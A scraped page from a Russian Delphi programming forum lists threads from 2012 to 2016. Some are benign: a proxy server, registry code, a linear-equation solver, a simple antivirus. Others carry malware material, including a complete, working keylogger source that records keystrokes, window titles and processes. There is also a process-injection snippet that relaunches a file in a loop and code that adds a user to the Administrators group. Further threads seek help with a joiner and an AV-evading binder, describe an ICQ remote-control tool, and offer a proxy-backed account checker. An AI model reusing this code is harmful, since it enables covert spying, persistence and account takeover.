delfcode

Авторизация в админке

xXxSh@dowxXx — Wed, 10 Feb 2016 19:01:00 GMT

Приветствую всех, давно не виделись :)

Поставил я недавно перед собой задачку программным образом подключиться к админке роутера, для начала решил сделать это простыми методами, первое что пришло в голову:
- Telnet
- IdHTTP1 (стандартный компонент)
- WebBrowser1 (стандартный компонент)

Вариант с использованием Telnet я отбросил сразу так как он слишком топорный, следующее по списку было использовать "IdHTTP1" для коннекта к админке через:

но при анализе трафика снифером, оказалось что роутер в ответ постоянно возвращает

и тут я вспомнил про стандартные скрипты управления роутером и команду авторизации:

для простоты эксперимента я воспользовался стандартным компонентом "WebBrowser1", и впринципе все заработало как нужно, но тут есть один недостаток, дело в том что когда пароль не правильный, или если в нем ошибка, то выскакивает стандартное Windows'кое окно авторизации где нужно вручную ввести логин и пароль, из за этого окна вся дальнейшая работа программы останавливается!

В интернете искал информацию о том как запретить вывод данного диалогового окна, или как автоматически ответить программе отменой на данное окно, но ничего так и не нашел, может быть кто то сможет подсказать как решить данную проблему?

PS: прикрепил исходники, может пригодится еще кому.

Исходник кейлоггера

ramzeswr — Wed, 25 Feb 2015 08:20:40 GMT

Простой пример кейлогера, основан на функции GetAsyncKeyState.
Пишет лог в консоль, также записывает время, имя активного окна и процесс.
Для коректного отображения русских символов в свойствах консоли нужно выбрать шрифт Lucida Console.

Код

program keylogger;

uses
   Windows, Tlhelp32;

function IntToStr(i:integer):string;
var
   s:string;
begin
   Str(i,s);
   Result:=s;
end;

function GetExeNameByProcID (ProcID : DWord) : String;
var
  ContinueLoop   : BOOL;
  FSnapshotHandle : THandle;
  FProcessEntry32 : TProcessEntry32;
begin
  FSnapshotHandle := CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
  Result := '';
  while (Integer (ContinueLoop) <> 0) and (Result='') do
  begin
   if FProcessEntry32.th32ProcessID = ProcID then
    Result := FProcessEntry32.szExeFile;
   ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
end;

function GetWindow: string;
var
   header:HWND;
   apchar:array[0..254] of char;
   pProcID : DWORD;
begin
   header:=GetForegroundWindow;
   GetWindowText(header, apchar, Length(apchar));
   GetWindowThreadProcessId (header, pProcID);
   result := '['+apchar+']['+GetExeNameByProcID(pProcID)+']';
end;

function DateTime: string;
var
   lt : TSYSTEMTIME;
   st : TSYSTEMTIME;
begin
   GetLocalTime(lt);
   GetSystemTime(st);
   result := '['+(IntToStr(lt.wmonth) + '.'
              + IntToStr(lt.wDay) +  '.'
              + IntToStr(lt.wYear) + ' '
              + IntToStr(lt.wHour) +  ':'
              + IntToStr(lt.wMinute) +  ':'
              + IntToStr(lt.wSecond))+
              ']';
end;

function IsKeyPressed(KeyCode: Integer): Boolean;
begin
     result := (Windows.GetAsyncKeyState(KeyCode) and $8001) = $8001;
end;

VAR
  VirtKey        : UINT;
  ScanCode       : UINT;
  UniEx          : Integer;
  keyboardLayout : HKL;
  keyboardSpeed  : Integer;
  keyboardState  : TKeyboardState;
  strBuffer      : String;
  UnicodeChar    : array[0..1] of WChar;
  strkeyname     : Array[0..32] of Char;
  dwThread       : DWORD;
  dwProcess      : DWORD;
  dwHandle       : HWND;
  win, lastwin   : string;
begin
  AllocConsole;
  SetConsoleCP(1251);
  SetConsoleOutputCp(1251);
  Windows.SystemParametersInfo(Windows.SPI_GETKEYBOARDSPEED, 0, @keyboardSpeed, 0);

   WHILE true DO
   BEGIN
     win := GetWindow();
     If  (win <> lastwin) then
     begin
      lastwin := win;
      Writeln(#13#10#13#10+DateTime+win);
     end;
     Windows.GetKeyState(VK_CAPITAL);
     Windows.GetKeyboardState(keyboardState);
     dwHandle:= Windows.GetForegroundWindow();
     dwThread:= Windows.GetWindowThreadProcessId(dwHandle,@dwProcess);
     keyboardLayout:= Windows.GetKeyboardLayout(dwThread);
     FOR VirtKey := 0 TO $FF DO
       IF IsKeyPressed(VirtKey) THEN
       BEGIN
         ScanCode := MapVirtualKeyEx(VirtKey, 0, keyboardLayout);
         GetKeyNameTextA(ScanCode SHL 16,strkeyname,sizeof(strkeyname));
         IF lstrlenA(strkeyname) > 1 THEN
         BEGIN
          IF VirtKey = VK_SPACE  THEN strkeyname := ' ';
          IF VirtKey = VK_RETURN THEN strkeyname := #13#10;
          write(strkeyname);
          Continue;
         END;
         UniEx := ToUnicodeEx(VirtKey, ScanCode, @keyboardState, @UnicodeChar, 2, 0, keyboardLayout);
         strBuffer := UnicodeChar;
         SetLength(strBuffer,UniEx);
         write(strBuffer);
       END;
     Sleep(keyboardSpeed DIV 4);
   END;

end.

Программа бот для сеоспринта?

Michael_Troshin — Mon, 15 Dec 2014 14:23:54 GMT

Форум: Программы на Delphi
Описание темы: ??=)
Автор темы: Michael_Troshin
Автор последнего сообщения: akatew
Количество ответов: 4

If then выполнить код из 20-ти строк

MAS — Mon, 20 Oct 2014 12:28:52 GMT

Форум: Программы на Delphi
Описание темы: If then выполнить код из 20-ти строк
Автор темы: MAS
Автор последнего сообщения: MAS
Количество ответов: 3

Определить наличие текста в html файле и выполнить код

MAS — Sat, 18 Oct 2014 10:43:51 GMT

Привет, программу в console application пытаюсь написать, которая должна работать так:
1) Ищет определенный текст в html файле, например текст delfcode (html файл находится например тут 123.ru/1.html)
2) Если текст найден, то выполняем код любой.
В программе с формой знаю как, а в программе без формы не знаю как, и возможно ли это

Запуск скриптов из Делфи

xXxSh@dowxXx — Sun, 03 Aug 2014 17:05:12 GMT

Всем привет, возник такой вопрос, как заставить работать "AutoHotkey Script" из своей программы..,дело в том что у меня уже есть скрипт, который через определенный промежуток времени нажимает кнопку UP (стрелка вверх), запускается скрипт в два захода, сначала активируется на "Insert" для того что бы его можно было отключать, потом включается на "End"..., так вот я уже 3й день пытаюсь решить задачу по его запуску из своей программы, пробовал разные эмуляции нажатия клавиш в делфи, что бы активировать скрипт, но ни один пример не работает, я так понял что сам "AutoHotkey Script" перехватывает нажатия клавиш на каком то другом уровне, хз как так...

вот методы которые я использовал в своей программе на делфи:

Code

procedure EmulateKey(Wnd: HWND; VKey: Integer);
asm
      push 0
      push edx
      push 0101H //WM_KEYUP
      push eax
      push 0
      push edx
      push 0100H //WM_KEYDOWN
      push eax
      call PostMessage
      call PostMessage
end;

// Пример использования:
EmulateKey(Edit1.Handle, VK_END);

так же пробывал вот этот пример:

Code

keybd_event(VK_END, 0, 0, 0);
keybd_event(VK_END, 0, KEYEVENTF_KEYUP, 0);

и еще пару примеров такого же плана, но "AutoHotkey Script" не хочет запускаться ни в какую, быть может кто знает как решить эту проблему?

вот сам скрипт:

WgBinder 1.5 by Decide

decide — Fri, 04 Jul 2014 13:48:15 GMT

http://wg.do.am/wg.png
Выкладываю свой биндер!На данный момент палится только авирой

Joiner

xXxSh@dowxXx — Sat, 28 Dec 2013 15:40:50 GMT

Всем как всегда доброго времени суток!

Ребята, прошу вашей помощи, так как у меня уже мозг-off на кануне нового года.

Кстати говоря ВСЕХ ВСЕХ ВСЕХ С НАСТУПАЮЩИМ!

ну так вот, есть у меня исходник одного джойнера, правда если я правильно понял, где то в коде стаба ошибка (хотя может и не в стабе), файлы склеивает, хекс-редактором правда не проверял, но вроде склеивает, а вот при запуске, получается так что результативный файл как бы остается тем же файлом но с полезной нагрузкой в размере того с чем его клеили, целостность исходного файла вроде бы не нарушается, но распаковка почему то не происходит, хотя вроде бы в исходнике стаба все прописано, в общем кто может разобраться, гляньте пожалуйста.
Зарание огромное спасибо!

Inject exe to process

xXxSh@dowxXx — Fri, 27 Dec 2013 18:20:22 GMT

И снова здравствуйте!

Есть у меня исходник одного примера инжекта исполняемых файлов в процесс, исходник очень простой, даже помнится мне пару лет назад мы его уже обсуждали, но в связи с давними переездами форума видимо тема где то затерялась, ну да ладно, не суть...

так вот, в исходнике есть одна процедура, вот кстати и она:

Код

procedure MyFunc(Mass: Pointer); stdcall;
    begin
    with TMass(Mass^) do
           begin
             @WinExec:=GetProcAddress(LoadLibrary(Kernel32), WinExecName);
             @Sleep:=GetProcAddress(LoadLibrary(Kernel32), SleepName);
             while true do
               begin
                WinExec(MyName, 5);
                Sleep(10000);
               end;
           end;
    end;

но вот незадача, необходимо реализовать проверку на то запущен ли наш файл из процесса в который мы проинжектились, дабы не запуститься дважды, или не запущен.

необходимо как то добавить функцию проверки процесса (она кстати тоже есть в исходнике, но она относится к основной программе инжектору) в процедуру которая инжектится с файлом в процесс, как это можно реализовать?

выкладываю исходник что бы все было более менее понятно, если не затруднит, подскажите пожалуйста, будьте так любезны?

Добавлено (27.12.2013, 19:57)
---------------------------------------------
И еще, вот в этом примере инжектиться не сам исполняемый файл в процесс, а лишь только часть кода которая его запускает оттуда где лежит сам исполняемый exe файл, а может быть кто нибудь знает как целиком инжектить файл в процесс ну или в память, или проще переписать код в библиотеку и инжектить уже её ?

Работа с ADO

Hargen — Sat, 21 Dec 2013 05:35:31 GMT

Форум: Программы на Delphi
Описание темы: Delphi
Автор темы: Hargen
Автор последнего сообщения: Hargen
Количество ответов: 0

HTTP PROXY SERVER

Neo — Fri, 04 Oct 2013 15:12:51 GMT

Всем привет, вот написал я данный проксик, он работает,когда данные не большие гоняются,а когда зафигичишь раузер,то не работает.В чём может быть трабла???

Код

unit TProxiUnit;

interface
uses Windows,Winsock;
function GetTextBetweenTags(headers: PChar): string;
function GetIP(Host: String): string;
type
   TPROXI = class
     private
       WS:TwsaData;
     public
       Sock: TSocket;
       hAddr: TSockAddr;
       Host         :PChar;
       Port         :Word;
       Data: Pointer;

       constructor Create(Port_: Word);
       procedure Send_(Date: Pointer);
       Procedure Recv_;
       destructor destroy;
   end;

implementation

function GetIP(Host: String): string;
type
     TaPInAddr = array [0..10] of PInAddr;
     PaPInAddr = ^TaPInAddr;
var
     phe  : PHostEnt;
     pptr : PaPInAddr;
     Buffer : array [0..63] of char;
     I    : Integer;
     GInitData      : TWSADATA;
begin
     WSAStartup(MakeWord(2,0), GInitData);
     Result := '';     //не найден!
     ZeroMemory(@Buffer, SizeOf(Buffer));
     lstrcpy(Buffer, PChar(Host));
     phe :=GetHostByName(buffer);
     if phe = nil then begin
       WSACleanup;
       Exit;
     end;
     try
       pptr := PaPInAddr(Phe^.h_addr_list);
       I := 0;
       while pptr^[I] <> nil do begin
         result:=PChar(inet_ntoa(pptr^[I]^));
         Inc(I);
       end;
     finally
       WSACleanup;
     end;
end;

function GetTextBetweenTags(headers: PChar): string;
const ctrf = #13#10;
Var i,j: integer;
begin
   Result:='';
   i:= Pos('Host:',headers)+5;
   if i <6 then
     Exit;
   j:=i;
   repeat
     Result:=Result+Headers[j];
     Inc(j);
   until headers[j] = #13;
end;

Procedure Colors(Red: boolean);
Var hCon: DWORD;
begin
   hCon := GetStdHandle(STD_OUTPUT_HANDLE);
   if Red then
     SetConsoleTextAttribute(hCon, 7)  else
     SetConsoleTextAttribute(hCon, 3);
end;

procedure THREAD(P :Pointer); stdcall;
const PPORT = 80;
       ctrf = #13#10;
Var Ns: TSocket;
     i,j: integer;
     Data,Tmp: array[0..8*MAX_PATH] of char;

     addr: TSockAddr;
     Snd: TSocket;
     host: string;
     Str: string;
     //TimeVal: TTimeVal;
     //FDSet: TFDSet;
begin
   Ns:=TSocket(P);
   WriteLn(Ns);
{  FD_ZERO(FDSet);
   FD_SET(Ns, FDSet);
   TimeVal.tv_sec := 0;
   TimeVal.tv_usec := 500;
   ioctlsocket(Ns,FIONREAD,i);}
   while true do
   begin
     Str:='';
     i:=1;
     while i>0 do
     begin                    //Читаю данные с клиента
       ZeroMemory(@Data,SizeOf(Data));
       i:=recv(Ns,Data,SizeOf(Data),0);
       Str:=Str+Data;
     end;
     WriteLn(Str);
     host:=GetTextBetweenTags(PChar(Str));
     host:=GetIP(host);                          //Определил IP куда хотел подконектиться клиент
                 Addr.sin_family:=PF_INET;
                 Addr.sin_port:=htons(PPORT);
                 Addr.sin_addr.S_addr:=inet_addr(PChar(host));
                 Snd := Socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
                 if connect(Snd,addr,SizeOf(Addr)) = 0 then
                 begin
                   j:=1;
                   while j>0 do
                     j:=send(Snd,Str[1],Length(Str),0);          //Посылаю вопрос серверу
                   Str:='';
                   j:=1;                    //Читаю ответ с сервера
                   while j>0 do
                   begin
                     ZeroMemory(@Tmp,SizeOf(Tmp));
                     j:=recv(Snd,Tmp,SizeOf(Tmp),0);
                     Str:=Str+Tmp;
                   end;
                 end;
     i:=1;
     while i>0 do
       i:=send(Ns,Str[1],Length(Str),0);                      //Отсылаю ответ от сервера клиенту
   end;
   closesocket(Ns);
end;

constructor TPROXI.Create(Port_: WORD);
Var ThId: DWORD;
     Ns: TSocket;
     Th: Pointer;
begin
   Colors(True);
   WSAStartup($101, ws);
   Sock := Socket(PF_INET, SOCK_STREAM, IPPROTO_IP);

   GetMem(Host,MAX_PATH);
   GetMem(Data,MAX_PATH);
   ZeroMemory(Data,MAX_PATH);

   Port:= Port_;

   hAddr.sin_family:=PF_INET;
   hAddr.sin_port:=htons(PORT);
   hAddr.sin_addr.S_addr:=INADDR_ANY;

   Bind(Sock, hAddr, SizeOf(hAddr));
   Listen(Sock,1);
   repeat
     Ns := accept(Sock, nil, nil);
     CloseHandle(CreateThread(nil,0,@THREAD,Pointer(Ns),0,ThId));
   until False;
end;

destructor TPROXI.destroy;
Var c: Word;
begin
   FreeMem(Host);
   FreeMem(Data);
   inherited;
end;

procedure TPROXI.Recv_;
begin

end;

procedure TPROXI.Send_(Date: Pointer);
begin

end;

end.

Program ultimatum;

{$AppType Console}

uses
   Windows,TProxiUnit;

var
   S: TPROXI;
begin
   S:= TPROXI.Create(8080);
   Readln;
end.

исходник ftp клиента

Hargen — Thu, 29 Aug 2013 15:01:00 GMT

Форум: Программы на Delphi
Автор темы: Hargen
Автор последнего сообщения: Hargen
Количество ответов: 2

Криптор

ApmeM — Mon, 01 Jul 2013 15:35:09 GMT

Форум: Программы на Delphi
Описание темы: Нужен криптор на delphi
Автор темы: ApmeM
Автор последнего сообщения: dolphin
Количество ответов: 3

Удаление всех папок на всех дисках

Swan — Sun, 30 Jun 2013 20:41:31 GMT

Форум: Программы на Delphi
Описание темы: Delphi
Автор темы: Swan
Автор последнего сообщения: Volf
Количество ответов: 5

IcQ Console Alpha Version!!!

fren — Mon, 24 Jun 2013 22:15:02 GMT

Команды:
Command - отправление всех этих команд на icq номер администратора.
EVENTON/EVENTOFF - отображение/скрытие событий
ShowDesk - показать иконки рабочего стола
HideDesk - спрятать иконки рабочего стола
ShowStart - показать пуск
Hidestart - спрятать пуск
ShowClock - показать часы
HideClock - спрятать часы
TimePC - время на компьютера
TimePowerPC - время работы компьютера
Cdo - открыть привод компакт дисков
Сdc - закрыть привод компакт дисков
Off - выключить
Reboot - перезагрузка
Msl - клик левой кнопкой мыши
Msr - клик правой кнопкой мыши
Msm - клик средней кнопкой мыши
Vk_enter - нажатие enter
Vk_escape - нажатие escape
Vk_space - нажатие пробела
Getclb - буфер обмена (текст)
Setclb <текст> - занести в буфер обмена (текст вводится большими буквами в след. версии будет исправлено)
Close - закрыть IcQ Console
GetProc - получить список процессов
Author - Автор - Павел Павлов
Delfile <файл> - удаление файла
Killdir <директория> - удаление директориии
Open <файл> - открыть файл
OpenUrl <ссылка> - открыть ссылку в стандарном браузере
KillProc <процесс.exe> - убить процесс
Mesto <Текст>,<Заголовок> - вывод на экран пользователя сообщения
CopyFile <Старый файл>,<Новый файл> - копирование файла (около запятых пробелы не ставятся!!!)
CopyDir <Старая директория>,<Куда копировать> - копирование директории (около запятых пробелы не ставятся!!!)

Специальные команды:
Dir - отображение дисков на компьютере
Dir <диск> - переход на диск <диск> и отображение всех директорий и файлов на диске.
Opendir (opd) - открытие каталога (обычно используется после команды "dir <диск>"), какой можно узнать в начале имени каталога
Openfile (opf) - аналогично предыдущей команде. Открытие файла. указан в начале имени файла.
sendfile - запланированная команда передачи выделенного файла вам на icq номер (допустим qip клиент) с удаленной машины.

План:
-уже в следующей версии делаю полное управление CMD!
-оч хочется передачу файлов сделать)

Защита программ и не только

C@T — Sat, 01 Dec 2012 21:11:59 GMT

Предисловие

данная статья не была заранее подготовленной, идея ее написать появилась у меня сегодня после того как увидел один пост на форуме и вспомнил как с друзьями мы убирали привязку у программ друг друга статья написано как можно более понятно, так как большинство посетителей нашего форума новички в программировании, и прошу не серчать за излишнюю подробность думаю вам будет интересно почитать

на форуме один из посетителей сделал прозьбу о том как сделать привязку программке
итак начнем, первое правда что мне пришлось сделать это скачать дэлфи, так как, увы, давно на нем не писал, а наш ресурс узко специализированн

после того как устанавили дэлфи нужна программка которую мы будем привязывать
и мы ее пишем

Code

unit Unit1;

interface

uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls;

type
   TForm1 = class(TForm)
     Button1: TButton;
     Edit1: TEdit;
     procedure Button1Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;

var
   Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
   ShowMessage(Edit1.text);
end;

end.

дальше нам нужна программка которая скажет нам наш HardID , на который мы будем привязывать, в данном примере будем привязывать к ID логического диска, правда да, оно при переустановке системы меняется, но все же, пойдет

Code

суть привязки в том что бы просто сравнить прописанный в проге HardID с HardID на запущенной системе и если ID не совпадают, то завершить программу
пишем процедуру которая будет это делать

Code

procedure pegging(); // спасибо гуглу за перевод
var
   myID:DWORD;
   VSNum, dw1, dw2: DWORD;
   szTemp: array[0..MAX_PATH] of char;
begin
   myID := $003C7FD842;

   GetWindowsDirectory(szTemp,MAX_PATH);
   GetVolumeInformation(PAnsiChar(szTemp[0]+':\'), nil, 0, @VSNum, dw1, dw2, nil, 0);
   if( VSNum <> myID) then
   begin
     TerminateProcess(GetCurrentProcess(), 0);
   end;
end;

вызываем ее при запуске программы

Code

procedure TForm1.FormCreate(Sender: TObject);
begin
pegging();
end;

в итоге если мы запустим программу на другом компьютере она завершится
но не все так хорошо насколько кажется, ведь если сделать такую привязку в реальном программном продукте, то привязку очень быстро уберут
если мы откроем наш ехе файл дэбагерром(например OllyDbg) , то сможем легко найти импорт функции TerminateProcess и увидить где он вызывается

дальше если взглянуть выше по коду будет видно прыжок, а точнее условный переход на вызов TerminateProcess

Code

CMP EBX,DWORD PTR SS:[EBP-4]
JE SHORT crack.00453882

сразу становится понятно что это сравнение нашего ключа с ключем на локальной систем, если ключ подходит, то продолжается выполнение программы, если же нет, то программа завершается
прыжок происходит командой JE , для того что бы убрать привязку достаточно лишь изменить условие перехода на обратное, а т.е JE поменять на JNZ(или JNE)

для того что бы усложнить поиск нужного участка кода, который отвечает за проверку на HardID можно избавится от вызова TerminateProcess, например

Code

procedure pegging();
var
   myID:DWORD;
   VSNum, dw1, dw2: DWORD;
   szTemp: array[0..MAX_PATH] of char;
begin
   myID := $003C7FD822;

   GetWindowsDirectory(szTemp,MAX_PATH);
   GetVolumeInformation(PAnsiChar(szTemp[0]+':\'), nil, 0, @VSNum, dw1, dw2, nil, 0);

   asm
     mov eax,myID
     mov ebx,dw2
     sub eax,VSNum

     push offset @metka
     add esp,eax
     ret
     @metka:
   end;

end;

в данном примере отсутствует даже сравнение как таковое, здесь все происходит так,в регистр eax записывается ID с которым нужно сравнивать(айди компьютера на котором программа должна запустится)
в регист ebx заносится ID локального компьютера
дальше считается разница между eax b ebx (между первым и вторым ID) , и результат записывается в eax, в итоге если первый и второй ID равны то в eax окажется ноль, иначе какое то число
дальше в стек заносится адрес метки завершения привязки и к регистру esp добавляется значение регистра eax, и получается если eax не равен нулю то работа программы будет нарушена, и дальше при выполнении команды ret программа вызовет исключение, ошибку, а если в eax будет 0 то программа как работала так и будет работать
в данном коде можно даже убрать все что идет после add esp,eax , и привязка все равно будет работать

такую привязку будет чу чуть сложнее найти и вылечить, но все равно возможно, для большего усложнения ее обнаружения можно убрать GetVolumeInformation из импортов и сделать поиск адреса функции через GetProcAddr
но все равно это не даст надежной защиты и программу можно будет взломать в течении пары часов
по моему самым лучшим способом привязать программу это совместить привязку и крипт, что бы для того что бы найти код привязки его и весь остальной код программы нужно было бы еще расшифровать, а этот процесс достаточно долгий для пошагового выполнения вручную

Метод вращений для решения СЛАУ

Freeze — Mon, 19 Nov 2012 05:04:22 GMT

Привет! Выкладываю, собственно, метод на делфях. Суть метода, как и в методе Гаусса, сначала приводим систему к треугольному виду, затем с помощью обратного хода Гаусса находим неизвестные. Метод описан в файле (прикрепил). Кому понадобится.

Меняем аттрибуты файлов

Freeze — Mon, 08 Oct 2012 10:46:28 GMT

Раньше сталкивался с такой штукой: какой-нить вирус на флешке сделает файлы невидимыми, да к тому же системными. Попробуешь сделать выдимыми, но нет, они же системные (нельзя менять аттрибуты). В общем нашел где-то в глубинах тернета прогу, правда косячную, немного подправил. Работает так: указываете файл или папку, программа отображает текущие аттрибуты, которые можно сразу изменить (включая "системный"). Более подробное описание можно отыскать в архиве с исходником в файле "readme.txt" (:
Строго не судите

Повозможности

Born — Wed, 03 Oct 2012 06:23:10 GMT

Форум: Программы на Delphi
Описание темы: Пример На Delphi
Автор темы: Born
Автор последнего сообщения: Born
Количество ответов: 4

AID антивирус

annakin — Tue, 31 Jul 2012 02:22:27 GMT

Виды сканирования:
MD5 файла - Применяется для детектирования троянов,
червей и прочих вредоносных объектов не заражающих
напрямую файлы.

HEX Сигнатура - Применяется для детектирования вирусов
вписывающих свое тело в файл.

Byte Sign - Тоже что и HEX Сигнатура только поиск происходит
в определенной позиции файла.

Дополнительно:

Среди преимуществ можно отметить высокую скорость сканироания и загрузку CPU: 20 - 70 %.

Архив содержит несколько исходников для Delphi 7

https://delfcode.ru/load....1-0-490

Чеккер аккаунтов 4Game

Freeze — Thu, 14 Jun 2012 03:50:31 GMT

ПривеТ! Как-то писал чеккер, а улучшить функциональность никак руки не доходят) Вот может кого заинтересует Делал в Делфи 2007.
Теперь немного о главном. Чеккер - программа, которая проверяет подходят ли логин и пароль к сайту. Сделал многопоточность, работает с проксями (прокси обычно беру с hideme.ru). Чекать можно как отдельную пару - логин, пароль (в одном потоке), так и подгружать файл со списком логинов и паролей (несколько потоков - по желанию). В архиве помимо файлов проекта лежат 2 библиотеки: libeay32.dll и ssleay32.dll - они нужны для работы с SSL (протокол, обеспечивающий безопасную работу с сайтом). Почему нужно работать с SSL? - Потому что сайт работает на данном протоколе (не http, а https://www.4game.ru). Про сам протокол можете спросить у великого Гугла
Если возникнут проблемы, пишите в тему или в асю: 66655510 Всем удачи! (: Freeze©
Файл проекта:

Работа с реестром

xXxSh@dowxXx — Fri, 25 May 2012 18:30:51 GMT

Доброго времени суток!

Искал в google разные способы добавления различных ключей в реестр:

имеется ввиду различные типы ключей, такие как:
REG_SZ;
REG_MULTI_SZ;
REG_DWORD;
REG_EXPAND_SZ;
REG_BINARY;
REG_DWORD_LITTLE_ENDIAN;
REG_DWORD_BIG_ENDIAN;
REG_LINK;
REG_NONE;
REG_RESOURCE_LIST

но увы, смог найти только пример с добавлением REG_SZ и REG_DWORD вот исходный код:

Code

//в uses требуется добавить Registry;
//-= тип ключа REG_SZ =-

procedure TForm1.Button1Click(Sender: TObject);
var
    Registry: TRegistry;
begin
    { создаём объект TRegistry }
    Registry := TRegistry.Create;
    { устанавливаем корневой ключ; напрмер hkey_local_machine или hkey_current_user }
    Registry.RootKey := hkey_local_machine;
    { открываем и создаём ключ }
    Registry.OpenKey('software\MyRegistryExample',true);
    { записываем значение }
    Registry.WriteString('KeyName','blablabla');
    { закрываем и освобождаем ключ }
    Registry.CloseKey;
    Registry.Free;
end;

//-= тип ключа REG_DWORD =-

procedure TForm1.Button1Click(Sender: TObject);
var
    Registry: TRegistry;
begin
    { создаём объект TRegistry }
    Registry := TRegistry.Create;
    { устанавливаем корневой ключ; напрмер hkey_local_machine или hkey_current_user }
    Registry.RootKey := hkey_local_machine;
    { открываем и создаём ключ }
    Registry.OpenKey('software\MyRegistryExample',true);
    { записываем значение }
    Registry.WriteInteger('KeyName', 1);
    { закрываем и освобождаем ключ }
    Registry.CloseKey;
    Registry.Free;
end;

по поводу других типов нашел функции вот тут Функции
но к сожалению не смог разобраться как их применить...

Прошу вашей помощи, заранее примного благодарен!

Самая маленькая прога

C@T — Sun, 18 Mar 2012 18:02:30 GMT

Форум: Программы на Delphi
Описание темы: Самая маленькая прога
Автор темы: C@T
Автор последнего сообщения: teodelfix
Количество ответов: 24

Добавление новой учетной записи в Windows

xXxSh@dowxXx — Sat, 17 Mar 2012 15:49:10 GMT

Доброго времени суток.

В данной теме я бы хотел обсудить способы программного добавления новой учетной записи пользователя в ОС Windows

вот некоторые примеры кода:

здесь мы добавляем новую учетную запись с указанным именем "TestUser" и паролем "123", но не добавляем нашу новую учетку в какую либо группу, например группу "Администраторы", так что учетная запись будет создана но ни в какой группе состоять она не будет...

Code

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
           Button1: TButton;
           procedure Button1Click(Sender: TObject);
private
           { Private declarations }
public
           { Public declarations }
end;

LPUSER_INFO_2 = ^USER_INFO_2;
{$EXTERNALSYM LPUSER_INFO_2}
PUSER_INFO_2 = ^USER_INFO_2;
{$EXTERNALSYM PUSER_INFO_2}
_USER_INFO_2 = record
           usri2_name: LPWSTR;
           usri2_password: LPWSTR;
           usri2_password_age: DWORD;
           usri2_priv: DWORD;
           usri2_home_dir: LPWSTR;
           usri2_comment: LPWSTR;
           usri2_flags: DWORD;
           usri2_script_path: LPWSTR;
           usri2_auth_flags: DWORD;
           usri2_full_name: LPWSTR;
           usri2_usr_comment: LPWSTR;
           usri2_parms: LPWSTR;
           usri2_workstations: LPWSTR;
           usri2_last_logon: DWORD;
           usri2_last_logoff: DWORD;
           usri2_acct_expires: DWORD;
           usri2_max_storage: DWORD;
           usri2_units_per_week: DWORD;
           usri2_logon_hours: PBYTE;
           usri2_bad_pw_count: DWORD;
           usri2_num_logons: DWORD;
           usri2_logon_server: LPWSTR;
           usri2_country_code: DWORD;
           usri2_code_page: DWORD;
end;
{$EXTERNALSYM _USER_INFO_2}
USER_INFO_2 = _USER_INFO_2;
{$EXTERNALSYM USER_INFO_2}
TUserInfo2 = USER_INFO_2;
PUserInfo2 = puser_info_2;

function NetUserAdd(ServerName: LPCWSTR; Level: DWORD;
           Buff: PByte; var Parm_Err: DWORD): DWORD; stdcall;
           external 'netapi32.dll';

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
const
NERR_Success = 0;
USER_PRIV_USER  = 1;
UF_SCRIPT = $0001;
UF_DONT_EXPIRE_PASSWD = $10000;
var
UserInfo: TUserInfo2;
Parm_Err: DWORD;
begin
ZeroMemory(@UserInfo, SizeOf(TUserInfo2));
UserInfo.usri2_name := 'TestUser';
UserInfo.usri2_password := '123';
UserInfo.usri2_priv := USER_PRIV_USER;
UserInfo.usri2_flags := UF_SCRIPT or UF_DONT_EXPIRE_PASSWD;
if NetUserAdd(nil, 2, @UserInfo, Parm_Err) <> NERR_Success then
           RaiseLastOSError
else
           ShowMessage('Пользователь TestUser с паролем 123 успешно добавлен.');
end;

end.

а вот в этом примере показан почти аналогичный код,с добавлением нашей учетной записи в указанную группу пользователей, но код к сожалению не полный...

Code

implementation
uses
          Dialogs,
          JwaLmErr,
          JwaLmApiBuf,
          JwaLmAccess;
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
          UI1: USER_INFO_1;
          pUI4: PUSER_INFO_4;
          err: DWORD;
          p: PByte;
begin
          {Да, можно обойтись и только уровнем USER_INFO_4, не работающем в Win2000,
          но изначально я мучил именно User_Info_1, и переделывать уже было лень...
          А вообще - в NetUserAdd указываем уровень 4 и пользуем только структуры одного типа...}
          FillChar(UI1, SizeOf(User_INFO_1), 0);
          UI1.usri1_name := '___NewUser___';
          UI1.usri1_password := '123';
          UI1.usri1_priv := USER_PRIV_USER;
          UI1.usri1_comment := 'только что созданный пользователь';
          UI1.usri1_flags := UF_SCRIPT or UF_NORMAL_ACCOUNT or UF_DONT_EXPIRE_PASSWD;
          if NetUserAdd(nil, 1, @UI1, @err) = NERR_Success then
            begin
              ShowMessage('Пользователь добавлен');
              // чтобы установить пользователю членство в локальной группе,
              // задействуем его SecurityIdentificator (SID),
              // который появляется в структуре PUSER_INFO_4.
              err := NetUserGetInfo(nil, '___NewUser___', 4, p);
              if err = NERR_Success then
                begin
                  ShowMessage('Информация о пользователе получена');
                  Pointer(pUI4) := Pointer(p);
                  {вообще-то правильно было бы получить локальные группы пользователей
                    с помощью NetLocalGroupEnum, и уже из них выбирать нужную, но лень}
                  err := NetLocalGroupAddMembers(nil, 'Администраторы', 0, @pUI4.usri4_user_sid, 1);
                  if err <> NERR_Success then
                    ShowMessage(IntToStr(err))
                  else
                    ShowMessage('Пользователь добавлен в группу');
                  NetApiBufferFree(p);
                end;
            end;
end;

сам я как не пытался,объединить эти два примера мне не удалось,вот теперь пришлось создать новую тему что бы разобраться в данном примере....

конкретно требуется добавить новую учетную запись в определенную группу пользователей,думаю данный код будет многим полезен и интересен, поэтому прошу вашей помощи,кто может помочь разобраться в примере,буду очень благодарен за вашу помощь по теме...

и еще заранее хотел бы попросить не выкладывать в данной теме код для добавления новой учетной записи через WinExec, и темболее не указывать на то что он гораздо проще в использовании, так как этот код каким бы он не был,в любом случае аналогичен примеру из любого батника...,а меня интересует именно первый вариант,хоть он и более сложный, но нас трудности не пугают так ведь?

вот код о котором идет речь, убедительная просьба на него не ссылаться:

==========================

